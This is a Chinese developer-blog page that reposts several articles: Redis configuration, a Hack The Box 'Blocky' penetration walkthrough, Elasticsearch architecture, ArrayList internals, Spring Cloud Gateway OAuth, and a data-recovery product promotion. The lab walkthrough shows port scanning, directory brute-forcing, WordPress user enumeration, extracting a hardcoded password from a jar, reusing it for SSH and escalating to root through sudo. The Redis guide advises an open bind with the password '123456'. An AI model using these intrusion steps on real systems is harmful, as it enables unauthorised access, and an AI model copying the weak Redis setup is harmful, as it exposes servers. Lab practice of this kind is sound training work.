开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

最近删除的截图怎么恢复?2021必读精品技巧

发表于 2021-11-30

最近删除的截图怎么恢复?目前我们生活中记录重要数据的工具之一就是照片了,在工作中我们也经常使用截图的方式来进行资料的保存。如果不小心将屏幕截图删除了,要怎么进行恢复呢?

最近删除的截图可以恢复吗?

不管你是手机端还是电脑端的用户,都可以通过查看回收站来还原不小心删除的图片。电脑用户可以在回收站,或者是文件历史记录中查看最近删除的文件,也许您就会看到最近删除的截图。如果在回收站中不见踪影,而你又没有对截图进行备份,那么就需要一款专业的数据恢复软件进行数据恢复了。

最近删除的截图怎么恢复?

小编在这里,就以数据蛙数据恢复专家,这款经典又专业的数据恢复软件向你演示电脑截图的恢复。数据蛙数据恢复专家,不仅支持Windows和Mac OS系统,支持多种存储设备,能够恢复多种文件类型。以下步骤就以Windows系统为例,向你演示数据蛙数据恢复专家恢复图片的步骤,简单三步就能够轻松还原。你还可以用数据蛙数据恢复专家软件恢复更多文件,比如音频、视频、文档等等文件,其它存储设备,比如U盘、SD卡中的数据都能进行恢复。

步骤一:进入数据蛙数据恢复专家的官网,找到您的设备对应的软件版本进行软件的安装。在这里要注意,不要将软件安装在电脑的C盘,这样不仅占用电脑的内存,也会延时系统的运行速度。选择好数据类型和位置后,点击右下角的扫描,就可以进入快速扫描阶段了。

步骤二:软件进入快速扫描阶段后,随着扫描进度,会扫描出很多丢失的图片,如果你在步骤一全选了文件类型,那么你就会扫描出更多丢失的文件。在左侧你可以通过文件类型和路径查看文件;将光标悬浮在文件名称上方可以查看包括文件路径在内的详细信息。完成快速扫描后点击上方的深度扫描,就会进入深度扫描模式,扫描更多文件。完成对截图的预览后,就能够进行数据恢复了。

步骤三:勾选目标文件,找到想要恢复的屏幕截图,点击右下角的恢复,在弹窗中选择存储图片的位置,在这里注意不要将屏幕截图文件存储在原来丢失的位置,会出现恢复失败的情况。在这里你可以新建一个文件夹用来恢复屏幕截图的存储,方便图片的管理。

最近删除的截图怎么恢复?本文就是这个问题的回答,不论是屏幕截图,其它文件类型的恢复,也同样适用,在这里小编提醒大家在日常生活中做好对文件的备份,降低文件数据丢失的风险。并且在丢失数据后,停止对存储设备的写入操作。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Redis核心配置整理与key命名规范

发表于 2021-11-30

这是我参与11月更文挑战的第3天,活动详情查看:2021最后一次更文挑战

哈喽大家好呀!我是小三。我又来更文啦。

34bd42a9d5f2261201b31fa4859274f.jpg

今天要写的是redis6的一些核心配置还有key的命名规范。整理一下之前学过的东西哈哈。

Redis6服务端设置

  1. daemonize(配置是否可以后台运行):推荐 YES | 默认为 No
  1. bind(绑定主机地址):0.0.0.0是不限制地址 | bind 127.0.0.1 绑定主机地址 |配置多个地址在地址之

间用空格分开

  1. port (默认监听端口):默认为 6379
  2. requirepass (连接密码)
  1. dbfilename (保存数据库文件名)默认值dump.rdb
  2. dir (数据库存放路径)默认值为 ./
  1. save (配置redis持久化机制)

Redis6日志配置

  1. loglevel(设置服务器指定日志记录级别): debug | verbose | notice | warning
  2. logfile(日志记录文件名): 端口号.log

注意:日志级别设置为verbose,生产环境设置为notice,简化日志输出量,减少日志IO频率。

Redis6客户端设置

  1. maxclients 0 (设置同一时间最大的客户端连接数,默认是无限制的。当客户端连接达到所设置的值时,Redis会关闭新的连接)
  2. timeout 300 (客户端闲置的等待最长时间,达到最长时间后关闭连接。如果要关闭该功能,设置为0即可)

在了解完Redis必须要知道的核心配置后,我们在Redis目录下创建log(日志)、data(数据)、conf(配置文件)文件

1
2
3
4
5
6
7
8
9
10
bash复制代码#首先进入到redis目录下
cd /usr/local/redis/

# 创建log文件
mkdir log

# 创建data文件
mkdir data

#创建conf文件

创建好后如图所示

接着在新建一个叫redis.conf文件,再编辑一下redis.conf文件把下面自定义配置文件复制进去

自定义配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bash复制代码#任何ip可以访问
bind 0.0.0.0

#守护进程
daemonize yes

#密码
requirepass 123456

#日志文件
logfile "/usr/local/redis/log/redis.log"

#持久化文件名称
dbfilename xdclass.rdb

#持久化文件存储路径
dir /usr/local/redis/data

#持久化策略, 10秒内有个1个key改动,执行快照
save 10 1

启动redis指定配置的文件

1
bash复制代码./redis-server ../conf/redis.conf

当配置文件弄好后,可以进入redis.log文件下查看相关日志,如图就是没有问题了,完美!

然后进入bin目录下进行Redis连接

1
2
shell复制代码# cd bin/
# ./redis-cli -a 123456(密码)

Key起名规范

在实际的项目开发中,为了更为方便管理用户的数据,对Redis的Key命名起了规范,规范如下:

1)方便管理+易读

2)不要过长,本身key也占空间

3)使用冒号分割,不要使用其他的特殊字符(空格-引号-转义符)

4)例子:业务名:表名:ID

好啦,本篇文章就到这里了。如果对你有帮助的话可以点点关注哦。最后再给大家分享一个redis6的在线工具:try.redis.io/

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

【HTB】Blocky(目录遍历漏洞,敏感文件泄露) 免责声

发表于 2021-11-30

免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
less复制代码┌──(root💀kali)-[~/htb/Blocky]
└─# nmap -sV -Pn 10.10.10.37 -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 22:40 EST
Nmap scan report for 10.10.10.37
Host is up (0.34s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8192/tcp closed sophos
25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 696.03 seconds

开了ftp,ssh,http三个服务

80端口打开是一个wordpress站点

ftp端口貌似存在一个远程执行漏洞

1
2
3
4
5
6
7
8
9
10
bash复制代码┌──(root💀kali)-[~/htb/Blocky]
└─# searchsploit ProFTPD 1.3.5
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

把36803.py拷贝到当前目录,exp要求一个可写web目录,我们现在还不太清楚哪里是可写的,需要进步一渗透80端口

爆破目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
javascript复制代码└─# python3 dirsearch.py -e* -t 100 -u http://10.10.10.37                                                                         

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.10.37/_21-11-29_22-50-04.txt

Error Log: /root/dirsearch/logs/errors-21-11-29_22-50-04.log

Target: http://10.10.10.37/

[22:50:06] Starting:
[22:51:25] 301 - 0B - /index.php -> http://10.10.10.37/
[22:51:29] 301 - 315B - /javascript -> http://10.10.10.37/javascript/
[22:51:32] 200 - 19KB - /license.txt
[22:51:46] 200 - 13KB - /phpmyadmin/doc/html/index.html
[22:51:47] 301 - 315B - /phpmyadmin -> http://10.10.10.37/phpmyadmin/
[22:51:48] 200 - 10KB - /phpmyadmin/
[22:51:48] 301 - 312B - /plugins -> http://10.10.10.37/plugins/
[22:51:48] 200 - 745B - /plugins/
[22:51:49] 200 - 10KB - /phpmyadmin/index.php
[22:51:51] 200 - 7KB - /readme.html
[22:52:11] 200 - 380B - /wiki/
[22:52:11] 301 - 309B - /wiki -> http://10.10.10.37/wiki/
[22:52:11] 301 - 313B - /wp-admin -> http://10.10.10.37/wp-admin/
[22:52:11] 200 - 1B - /wp-admin/admin-ajax.php
[22:52:11] 200 - 1KB - /wp-admin/install.php
[22:52:11] 500 - 4KB - /wp-admin/setup-config.php
[22:52:11] 200 - 0B - /wp-config.php
[22:52:12] 200 - 0B - /wp-content/
[22:52:12] 301 - 315B - /wp-content -> http://10.10.10.37/wp-content/
[22:52:12] 500 - 0B - /wp-content/plugins/hello.php
[22:52:12] 200 - 69B - /wp-content/plugins/akismet/akismet.php
[22:52:12] 200 - 0B - /wp-cron.php
[22:52:12] 301 - 316B - /wp-includes -> http://10.10.10.37/wp-includes/
[22:52:12] 200 - 965B - /wp-content/uploads/
[22:52:12] 500 - 0B - /wp-includes/rss-functions.php
[22:52:12] 200 - 2KB - /wp-login.php
[22:52:12] 302 - 0B - /wp-signup.php -> http://10.10.10.37/wp-login.php?action=register
[22:52:12] 405 - 42B - /xmlrpc.php
[22:52:13] 200 - 40KB - /wp-includes/

好几个文件夹存在目录遍历漏洞。

用wpsscan枚举用户名

wpscan –url http://10.10.10.37 –enumerate u1-200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
java复制代码[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:17 <============================================================================================================================================================> (200 / 200) 100.00% Time: 00:00:17

[i] User(s) Identified:

[+] notch
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://10.10.10.37/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] Notch
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

存在一个叫notch的用户

用这个用户名爆破wp后台,ftp,ssh,phpmyadmin无果…

初始shell

好像走入了死胡同。

于是只好在爆破的目录里看看有什么有用的东西,在/plugins/目录里找到两个可以下载的jar文件

把BlockyCore.class从BlockyCore.jar里分离出来,用strings命令查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bash复制代码┌──(root💀kali)-[~/htb/Blocky]
└─# strings BlockyCore.class
com/myfirstplugin/BlockyCore
java/lang/Object
sqlHost
Ljava/lang/String;
sqlUser
sqlPass
<init>
Code
localhost
root
8YsqfCTnvxAUeduzjNSXe22
LineNumberTable
LocalVariableTable
this
Lcom/myfirstplugin/BlockyCore;
onServerStart
onServerStop
onPlayerJoin
TODO get username
!Welcome to the BlockyCraft!!!!!!!
sendMessage
'(Ljava/lang/String;Ljava/lang/String;)V
username
message
SourceFile
BlockyCore.java

好像有一个用户凭证:root:8YsqfCTnvxAUeduzjNSXe22

但是用来登录ssh和ftp都不行

然后再用上面的用户名notch登录,居然登进去了,于是找到我们的初始shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
yaml复制代码┌──(root💀kali)-[~/htb/Blocky]
└─# ssh notch@10.10.10.37
notch@10.10.10.37's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

7 packages can be updated.
7 updates are security updates.


Last login: Tue Jul 25 11:14:53 2017 from 10.10.14.230
notch@Blocky:~$

在home目录找到user.txt

提权

查看sudo特权

1
2
3
4
5
6
7
ruby复制代码notch@Blocky:~$ sudo -l
[sudo] password for notch:
Matching Defaults entries for notch on Blocky:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
(ALL : ALL) ALL

可以使用所有root权限命令。。。

那就很简单了,直接提权到root

1
2
3
4
5
ruby复制代码notch@Blocky:~$ sudo bash -p
root@Blocky:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Blocky:~# whoami
root

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

ES分布式搜索引擎基本架构

发表于 2021-11-30

前言

在搜索这块,lucene 是最流行的搜索库。几年前业内一般都问,你了解 lucene 吗?你知道倒排索引的原理吗?现在早已经 out 了,因为现在很多项目都是直接用基于 lucene 的分布式搜索引擎—— ElasticSearch,简称为 ES。

而现在分布式搜索基本已经成为大部分互联网行业的 Java 系统的标配,其中尤为流行的就是 ES,前几年 ES 没火的时候,大家一般用 solr。但是这两年基本大部分企业和项目都开始转向 ES 了。

接下来简单说一下对es分布式搜索引擎架构的一个基本理解。

基础架构

ElasticSearch 设计的理念就是分布式搜索引擎,底层其实还是基于 lucene 的。核心思想就是在多台机器上启动多个 ES 进程实例,组成了一个 ES 集群。

ES 中存储数据的基本单位是索引,比如说你现在要在 ES 中存储一些订单数据,你就应该在 ES 中创建一个索引 order_idx ,所有的订单数据就都写到这个索引里面去,一个索引差不多就是相当于是 mysql 里的一张表。

1
rust复制代码index -> type -> mapping -> document -> field。

这样吧,为了做个更直白的介绍,我在这里做个类比。但是切记,不要划等号,类比只是为了便于理解。

index 相当于 mysql 里的一张表。而 type 没法跟 mysql 里去对比,一个 index 里可以有多个 type,每个 type 的字段都是差不多的,但是有一些略微的差别。假设有一个 index,是订单 index,里面专门是放订单数据的。就好比说你在 mysql 中建表,有些订单是实物商品的订单,比如一件衣服、一双鞋子;有些订单是虚拟商品的订单,比如游戏点卡,话费充值。就两种订单大部分字段是一样的,但是少部分字段可能有略微的一些差别。

所以就会在订单 index 里,建两个 type,一个是实物商品订单 type,一个是虚拟商品订单 type,这两个 type 大部分字段是一样的,少部分字段是不一样的。

很多情况下,一个 index 里可能就一个 type,但是确实如果说是一个 index 里有多个 type 的情况(注意, mapping types 这个概念在 ElasticSearch 7. X 已被完全移除,详细说明可以参考官方文档),你可以认为 index 是一个类别的表,具体的每个 type 代表了 mysql 中的一个表。每个 type 有一个 mapping,如果你认为一个 type 是具体的一个表,index 就代表多个 type 同属于的一个类型,而 mapping 就是这个 type 的表结构定义,你在 mysql 中创建一个表,肯定是要定义表结构的,里面有哪些字段,每个字段是什么类型。实际上你往 index 里的一个 type 里面写的一条数据,叫做一条 document,一条 document 就代表了 mysql 中某个表里的一行,每个 document 有多个 field,每个 field 就代表了这个 document 中的一个字段的值。

你搞一个索引,这个索引可以拆分成多个 shard ,每个 shard 存储部分数据。拆分多个 shard 是有好处的,一是支持横向扩展,比如你数据量是 3T,3 个 shard,每个 shard 就 1T 的数据,若现在数据量增加到 4T,怎么扩展,很简单,重新建一个有 4 个 shard 的索引,将数据导进去;二是提高性能,数据分布在多个 shard,即多台服务器上,所有的操作,都会在多台机器上并行分布式执行,提高了吞吐量和性能。

接着就是这个 shard 的数据实际是有多个备份,就是说每个 shard 都有一个 primary shard ,负责写入数据,但是还有几个 replica shard 。 primary shard 写入数据之后,会将数据同步到其他几个 replica shard 上去。

通过这个 replica 的方案,每个 shard 的数据都有多个备份,如果某个机器宕机了,没关系啊,还有别的数据副本在别的机器上呢。高可用了吧。

ES 集群多个节点,会自动选举一个节点为 master 节点,这个 master 节点其实就是干一些管理的工作的,比如维护索引元数据、负责切换 primary shard 和 replica shard 身份等。要是 master 节点宕机了,那么会重新选举一个节点为 master 节点。

如果是非 master 节点宕机了,那么会由 master 节点,让那个宕机节点上的 primary shard 的身份转移到其他机器上的 replica shard。接着你要是修复了那个宕机机器,重启了之后,master 节点会控制将缺失的 replica shard 分配过去,同步后续修改的数据之类的,让集群恢复正常。

说得更简单一点,就是说如果某个非 master 节点宕机了。那么此节点上的 primary shard 不就没了。那好,master 会让 primary shard 对应的 replica shard(在其他机器上)切换为 primary shard。如果宕机的机器修复了,修复后的节点也不再是 primary shard,而是 replica shard。

上述大概就是 ElasticSearch 作为分布式搜索引擎最基本的一个架构设计。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

ArrayList源码分析

发表于 2021-11-30

这是我参与11月更文挑战的第20天,活动详情查看:2021最后一次更文挑战

欢迎关注公众号OpenCoder,来和我做朋友吧~❤😘😁🐱‍🐉👀

  1. ArrayList的基本介绍

1
2
java复制代码public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, Serializable {
}

1629728281853

ArrayList 是一个数组队列,相当于 动态数组。与Java中的数组相比,它的容量能动态增长。它继承于AbstractList,实现了List, RandomAccess, Cloneable, java.io.Serializable这些接口。

ArrayList 继承了AbstractList,实现了List。它是一个数组队列,提供了相关的添加、删除、修改、遍历等功能。 ​ ArrayList 实现了RandmoAccess接口,即提供了随机访问功能。RandmoAccess是java中用来被List实现,为List提供快速访问功能的。在ArrayList中,我们即可以通过元素的序号快速获取元素对象;这就是快速随机访问。稍后,我们会比较List的“快速随机访问”和“通过Iterator迭代器访问”的效率。

ArrayList 实现了Cloneable接口,即覆盖了函数clone(),能被克隆。

ArrayList 实现java.io.Serializable接口,这意味着ArrayList支持序列化,能通过序列化去传输。和Vector不同,ArrayList中的操作不是线程安全的!所以,建议在单线程中才使用ArrayList,而在多线程中可以选择Vector或者CopyOnWriteArrayList。

  1. ArrayList属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
java复制代码public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, Serializable {
// 序列化id
private static final long serialVersionUID = 8683452581122892189L;
// 默认初始的容量
private static final int DEFAULT_CAPACITY = 10;
// 一个空对象
private static final Object[] EMPTY_ELEMENTDATA = new Object[0];
// 一个空对象,如果使用默认构造函数创建,则默认对象内容默认是该值
private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = new Object[0];
// 当前数据对象存放地方,当前对象不参与序列化
transient Object[] elementData;
// 当前数组长度
private int size;
// 数组最大长度
private static final int MAX_ARRAY_SIZE = 2147483639;

// 省略方法。。
}
  1. ArrayList的构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
java复制代码//此时我们创建的ArrayList对象中的elementData中的长度是1,size是0,当进行第一次add的时候,elementData将会变成默认的长度:10.
public ArrayList() {
this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA;
}
// 带int类型的构造函数
public ArrayList(int initialCapacity) {
       if (initialCapacity > 0) {
           this.elementData = new Object[initialCapacity];
      } else if (initialCapacity == 0) {
           this.elementData = EMPTY_ELEMENTDATA;
      } else {
           //如果用户传入的参数小于0,则抛出异常
           throw new IllegalArgumentException("Illegal Capacity: "+
                                              initialCapacity);
      }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
csharp复制代码//此时我们创建的ArrayList对象中的elementData中的长度是1,size是0,当进行第一次add的时候,elementData将会变成默认的长度:10.
public ArrayList() {
this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA;
}
// 带int类型的构造函数
public ArrayList(int initialCapacity) {
       if (initialCapacity > 0) {
           this.elementData = new Object[initialCapacity];
      } else if (initialCapacity == 0) {
           this.elementData = EMPTY_ELEMENTDATA;
      } else {
           //如果用户传入的参数小于0,则抛出异常
           throw new IllegalArgumentException("Illegal Capacity: "+
                                              initialCapacity);
      }
}

ArrayList构造方法

特别注意:对于以上2个构造方法在使用的时候推荐使用带int参数的构造方法,因为不带参数的可能会出现大量扩容的情况,从而导致性能低下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
java复制代码/**
1)将collection对象转换成数组,然后将数组的地址的赋给elementData。
2)更新size的值,同时判断size的大小,如果是size等于0,直接将空对象EMPTY_ELEMENTDATA的地址赋给elementData
3)如果size的值大于0,则执行Arrays.copy方法,把collection对象的内容(可以理解为深拷贝)copy到elementData中。
*/
public ArrayList(Collection<? extends E> c) {
   elementData = c.toArray();
   if ((size = elementData.length) != 0) {
       // c.toArray might (incorrectly) not return Object[] (see 6260652)
       if (elementData.getClass() != Object[].class)
           //深度拷贝
           elementData = Arrays.copyOf(elementData, size, Object[].class);
  } else {
       // replace with empty array.
       this.elementData = EMPTY_ELEMENTDATA;
  }
}

特别注意:this.elementData = list.toArray(); 这里执行的简单赋值是浅拷贝,所以要执行Arrays.copy 做深拷贝

  1. 核心的方法

4.1 add方法

add主要的执行逻辑如下:

1)确保数组已使用长度(size)加1之后足够存下 下一个数据

2)修改次数modCount 标识自增1,如果当前数组已使用长度(size)加1后的大于当前的数组长度,则调用 grow方法,增长数组,grow方法会将当前数组的长度变为原来容量的1.5倍。

3)确保新增的数据有地方存储之后,则将新元素添加到位于size的位置上。

4)返回添加成功布尔值。

添加元素方法入口:

1
2
3
4
5
java复制代码    public boolean add(E e) {
       ensureCapacityInternal(size + 1);  // Increments modCount!!
       elementData[size++] = e;
       return true;
  }

确保添加的元素有地方存储,当第一次添加元素的时候this.size+1 的值是1,所以第一次添加的时候会将当前elementData数组的长度变为10:

1
2
3
4
5
6
java复制代码    private void ensureCapacityInternal(int minCapacity) {
       if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
           minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
      }
       ensureExplicitCapacity(minCapacity);
  }

将修改次数(modCount)自增1,判断是否需要扩充数组长度,判断条件就是用当前所需的数组最小长度与数组的长度对比,如果大于0,则增长数组长度。

1
2
3
4
5
6
java复制代码    private void ensureExplicitCapacity(int minCapacity) {
       modCount++;
       // overflow-conscious code
       if (minCapacity - elementData.length > 0)
           grow(minCapacity);
  }

如果当前的数组已使用空间(size)加1之后 大于数组长度,则增大数组容量,扩大为原来的1.5倍。

1
2
3
4
5
6
7
8
9
10
11
java复制代码  private void grow(int arg0) {
int arg1 = this.elementData.length;
int arg2 = arg1 + (arg1 >> 1);
if (arg2 - arg0 < 0) {
arg2 = arg0;
}
if (arg2 - 2147483639 > 0) {
arg2 = hugeCapacity(arg0);
}
this.elementData = Arrays.copyOf(this.elementData, arg2);
}

add(int index, E element)方法

ArrayList指定位置添加数据

这个方法其实和上面的add类似,该方法可以按照元素的位置,指定位置插入元素,具体的执行逻辑如下:

  1. 确保数插入的位置小于等于当前数组长度,并且不小于0,否则抛出异常
  2. 确保数组已使用长度(size)加1之后足够存下 下一个数据
  3. 修改次数(modCount)标识自增1,如果当前数组已使用长度(size)加1后的大于当前的数组长度,则调用grow方法,增长数组
  4. grow方法会将当前数组的长度变为原来容量的1.5倍。
  5. 确保有足够的容量之后,使用System.arraycopy 将需要插入的位置(index)后面的元素统统往后移动一位。
  6. 将新的数据内容存放到数组的指定位置(index)上

欢迎关注公众号OpenCoder,来和我做朋友吧~❤😘😁🐱‍🐉👀

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

微服务实战:基于Spring Cloud Gateway +

发表于 2021-11-30

背景

微服务架构的分布式特性可以带来很多好处,但是单个微服务并不能独立对外提供服务,一个微服务群组需要作为一个整体对外提供完整的服务体验,而如何实现支撑整体的通用功能就需要好好考虑一番了。

就我司的需求来说,我们需要实现的通用功能包括路由(Routing)、认证(Authorization)、鉴权(Authentication),以及后端API的组合(API Composition)。我们计划在同一个地方即API Gateway,部署这一组功能,而不是在每个微服务都重复部署。

ℹ️ 在[微服务/API时代的前端开发] BFF入门–5个实用的BFF使用案例一文中,介绍了5个典型的BFF应用场景,API Gateway就是其中一个。

OIDC是一个适合微服务的认证方式,由于我们的服务主要构筑在AWS上,所以计划采用AWS Cognito作为ID Provider(或称为Authorization Server)。

关于OAuth和OIDC

OAuth和OIDC有什么区别呢?简单的说,OAuth是个框架(Framework),而Open ID Connect是一个协议。在OAuth2.0框架中,定义了认证过程中的各种角色以及5种认证流程。

角色包括:

  • 资源所有者(Resource Owner),能够授予对受保护资源的访问权限的实体。当资源所有者是一个人时,它被称为最终用户。
  • 资源服务器(Resource Server),托管受保护资源的服务器,能够通过访问令牌,对受保护资源的请求做出响应。
  • 客户端(Client),代表资源所有者并经其授权向受保护资源发出请求的应用程序。 术语“客户端”并不意味着任何特定的实现特征(例如,应用程序是否在服务器、桌面或其他设备上执行)。为了方便区分,也经常被称为OAuth客户端。
  • 认证服务器(Authorization Server),该服务器在成功验证资源所有者并获得授权后向客户端颁发访问令牌。
  • 用户代理(User Agent), 资源所有者的用户代理是客户端与资源所有者交互的中介 (通常是 Web 浏览器)。

5种认证流程分别是:

  1. 授权码模式(Authorization Code Grant)
  2. 简单模式(Implicit Grant)
  3. 密码模式(Resource Owner Password Credentials Grant)
  4. 客户端模式(Client Credentials Grant)
  5. 扩展模式(Extension Grants)

以最常见的授权码模式为例,具体认证流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
scss复制代码     +----------+
| Resource |
| Owner |
| |
+----------+
^
|
(B)
+----|-----+ Client Identifier +---------------+
| -+----(A)-- & Redirection URI ---->| |
| User- | | Authorization |
| Agent -+----(B)-- User authenticates --->| Server |
| | | |
| -+----(C)-- Authorization Code ---<| |
+-|----|---+ +---------------+
| | ^ v
(A) (C) | |
| | | |
^ v | |
+---------+ | |
| |>---(D)-- Authorization Code ---------' |
| Client | & Redirection URI |
| | |
| |<---(E)----- Access Token -------------------'
+---------+ (w/ Optional Refresh Token)

OAuth 2.0 的设计仅用于认证,用于将数据和功能从一个应用程序授予另一个应用程序的访问权限。 OpenID Connect (OIDC) 位于 OAuth 2.0 之上,它添加了用户登录(Login)和个人资料信息(Profile)。当认证服务器支持 OIDC 时,它有时被称为身份提供者(ID Provider),因为它向客户端提供有关资源所有者的信息。

OpenID Connect 支持可以跨多个应用程序使用一次登录的场景,也称为单点登录 (SSO)。 例如,应用程序可以通过社交网络服务(如 Facebook 或 Twitter)支持 SSO,以便用户可以选择使用他们既有的登录信息。

OpenID Connect 流程看起来与 OAuth 相同。 唯一的区别是,在初始请求中,使用了特定的SCOPE:openid,并且在最终交换时,客户端同时收到一个 访问令牌(Access Token) 和一个 ID 令牌(ID Token)。

关于Cognito

AWS Cognito可以为 Web 和移动应用程序添加用户注册、登录和访问控制功能。可以将用户规模扩展到数百万,并支持通过 SAML 2.0 和 OpenID Connect,使用社交身份提供商(如 Apple、Facebook、Google 和 Amazon)以及企业身份提供商进行登录。简单的说Cognito就是AWS提供的ID Provider,它可以很方便的和ALB、AWS API Gateway、CloudFront进行集成。

AWS Cognito的文档中,对OAuth授权码模式的支持如下图所示:

image.png

方案

如前所述,我们采用AWS Cognito作为认证服务器,至于OAuth客户端(即API Gateway)的实现,我们采用的是Spring Cloud Gateway和Spring Security的组合。

认证流程

image.png

上图中的微服务将扮演资源服务器的角色,用来展示如何使用 Spring Security 5.2+ 来确保服务的安全。调用它的任何用户(机器)负责提供有效的 访问令牌(Access Token),在我们的例子中使用的是 JWT 格式的不记名令牌。除了典型的 访问令牌JWT 还允许传输与 AuthN/AuthZ 相关的声明,例如用户名或角色/权限。这样微服务就无需为此类信息不断向原始身份提供者发出请求。

API 网关将使用基于会话(Session)的登录,用于展示 OAuth 2 的授权码模式。另外,这里会展示如何根据资源服务器的要求使用适当的 OAuth 令牌来控制 HTTP 访问请求。关键是从 Cognito 获取的访问/刷新令牌永远不会暴露给浏览器。Spring Cloud Gateway支持 WebFlux 模式和传统的MVC模式,由于所有的后端请求都需要经过API网关,对高吞吐量和低延迟有较高的要求,所以我们选择了非阻塞式的WebFlux模式。

相关时序图如下所示:

image.png

鉴权

我们计划在后端的一个账户服务中管理用户,用户所属的角色,以及角色对应的URL权限。Spring Security虽然支持如下所示的鉴权方式,但是只能硬编码,不能满足我们的需求。

1
2
3
java复制代码http.authorizeExchange()
.pathMatchers(HttpMethod.GET, "/api/account/**")
.hasRole("account.access");

我们需要考虑如何让API网关从账户服务中获取实时的权限配置,实现动态鉴权。我们将实现一个自定义的ReactiveAuthorizationManager,作为鉴权过滤器,并通过如下方式添加到配置中。在自定义的过滤器中,定时从后端账户服务获取最新的权限配置,并刷新到API网关。

1
2
3
java复制代码http.authorizeExchange()
.pathMatchers("/api/**")
.access(authorizationManager);

对于用户的角色,我们计划使用Cognito的群组(Group)功能,以群组作为角色进行权限控制。原因是我们可以很方便的利用Cognito维护用户和群组的关系,同时在令牌中也很容易获取用户所在群组的信息。关键是我们需要手动将Cognito群组信息转换为Spring Security能够识别的角色/权限。我们需要自定义一个ReactiveOAuth2UserService的Bean,实现群组到角色的转换。之后就可以使用GrantedAuthority来校验用户的权限了。

API组合

我们希望在API网关实现API组合的功能,将后端多个微服务的API组合成一个在功能上相对完整的API,对外提供服务。例如“显示页面时,从日记列表API获取日记的列表信息,同时从评论列表API获取多个评论”。在这种情况下,需要同时请求多个后端API。而在本文的代码示例中,我将把订单API和库存API组合在一起,返回给前端。

很遗憾,Spring Cloud Gateway官方并没有提供这个功能,虽然在社区的讨论中有很多这样的呼声(参考 Have Routes Support Multiple URIs?)。不过社区成员 spencergibb 建议使用Spring Cloud Gateway提供的 ProxyExchange 对象来实现这种功能。我们的示例中也采用了同样的实现方式。

1
2
3
4
5
6
7
8
9
java复制代码 @PostMapping("/proxy")
public Mono<ResponseEntity<Foo>> proxy(ProxyExchange<Foo> proxy) throws Exception {
return proxy.uri("http://localhost:9000/foos/") //
.post(response -> ResponseEntity.status(response.getStatusCode()) //
.headers(response.getHeaders()) //
